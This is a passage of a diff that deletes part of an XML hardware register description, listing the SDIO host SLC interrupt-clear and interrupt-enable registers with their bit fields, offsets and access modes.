-              <name>HOST_SLC1_TOKEN1_1TO0_INT_CLR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_0TO1_INT_CLR</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_0TO1_INT_CLR</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_SOF_INT_CLR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_EOF_INT_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_START_INT_CLR</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TX_START_INT_CLR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_UDF_INT_CLR</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TX_OVF_INT_CLR</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_PF_VALID_INT_CLR</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT0_INT_CLR</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT1_INT_CLR</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT2_INT_CLR</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT3_INT_CLR</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_WIFI_RX_NEW_PACKET_INT_CLR</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_HOST_RD_RETRY_INT_CLR</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_BT_RX_NEW_PACKET_INT_CLR</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_FUNC1_INT_ENA</name>
-          <addressOffset>0xDC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_FN1_SLC0_TOHOST_BIT0_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOHOST_BIT1_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOHOST_BIT2_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOHOST_BIT3_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOHOST_BIT4_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOHOST_BIT5_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOHOST_BIT6_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOHOST_BIT7_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOKEN0_1TO0_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOKEN1_1TO0_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOKEN0_0TO1_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TOKEN1_0TO1_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0HOST_RX_SOF_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0HOST_RX_EOF_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0HOST_RX_START_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0HOST_TX_START_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_RX_UDF_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_TX_OVF_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_RX_PF_VALID_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_EXT_BIT0_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_EXT_BIT1_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_EXT_BIT2_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_EXT_BIT3_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC0_HOST_RD_RETRY_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_GPIO_SDIO_INT_ENA</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_FUNC1_INT_ENA</name>
-          <addressOffset>0xE0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_FN1_SLC1_TOHOST_BIT0_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOHOST_BIT1_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOHOST_BIT2_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOHOST_BIT3_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOHOST_BIT4_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOHOST_BIT5_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOHOST_BIT6_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOHOST_BIT7_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOKEN0_1TO0_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOKEN1_1TO0_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOKEN0_0TO1_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TOKEN1_0TO1_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1HOST_RX_SOF_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1HOST_RX_EOF_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1HOST_RX_START_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1HOST_TX_START_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_RX_UDF_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_TX_OVF_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_RX_PF_VALID_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_EXT_BIT0_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_EXT_BIT1_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_EXT_BIT2_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_EXT_BIT3_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_WIFI_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_HOST_RD_RETRY_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN1_SLC1_BT_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_FUNC2_INT_ENA</name>
-          <addressOffset>0xE4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_FN2_SLC0_TOHOST_BIT0_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOHOST_BIT1_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOHOST_BIT2_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOHOST_BIT3_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOHOST_BIT4_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOHOST_BIT5_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOHOST_BIT6_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOHOST_BIT7_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOKEN0_1TO0_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOKEN1_1TO0_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOKEN0_0TO1_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TOKEN1_0TO1_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0HOST_RX_SOF_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0HOST_RX_EOF_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0HOST_RX_START_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0HOST_TX_START_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_RX_UDF_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_TX_OVF_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_RX_PF_VALID_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_EXT_BIT0_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_EXT_BIT1_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_EXT_BIT2_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_EXT_BIT3_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC0_HOST_RD_RETRY_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_GPIO_SDIO_INT_ENA</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_FUNC2_INT_ENA</name>
-          <addressOffset>0xE8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_FN2_SLC1_TOHOST_BIT0_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOHOST_BIT1_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOHOST_BIT2_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOHOST_BIT3_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOHOST_BIT4_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOHOST_BIT5_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOHOST_BIT6_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOHOST_BIT7_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOKEN0_1TO0_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOKEN1_1TO0_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOKEN0_0TO1_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TOKEN1_0TO1_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1HOST_RX_SOF_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1HOST_RX_EOF_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1HOST_RX_START_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1HOST_TX_START_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_RX_UDF_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_TX_OVF_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_RX_PF_VALID_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_EXT_BIT0_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_EXT_BIT1_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_EXT_BIT2_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_EXT_BIT3_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_WIFI_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_HOST_RD_RETRY_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_FN2_SLC1_BT_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_INT_ENA</name>
-          <addressOffset>0xEC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT0_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT1_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT2_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT3_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT4_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT5_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT6_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT7_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_1TO0_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_1TO0_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_0TO1_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_0TO1_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_SOF_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_EOF_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_START_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TX_START_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_UDF_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TX_OVF_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_PF_VALID_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT0_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT1_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT2_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT3_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_NEW_PACKET_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_HOST_RD_RETRY_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_GPIO_SDIO_INT_ENA</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_INT_ENA</name>
-          <addressOffset>0xF0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT0_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT1_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
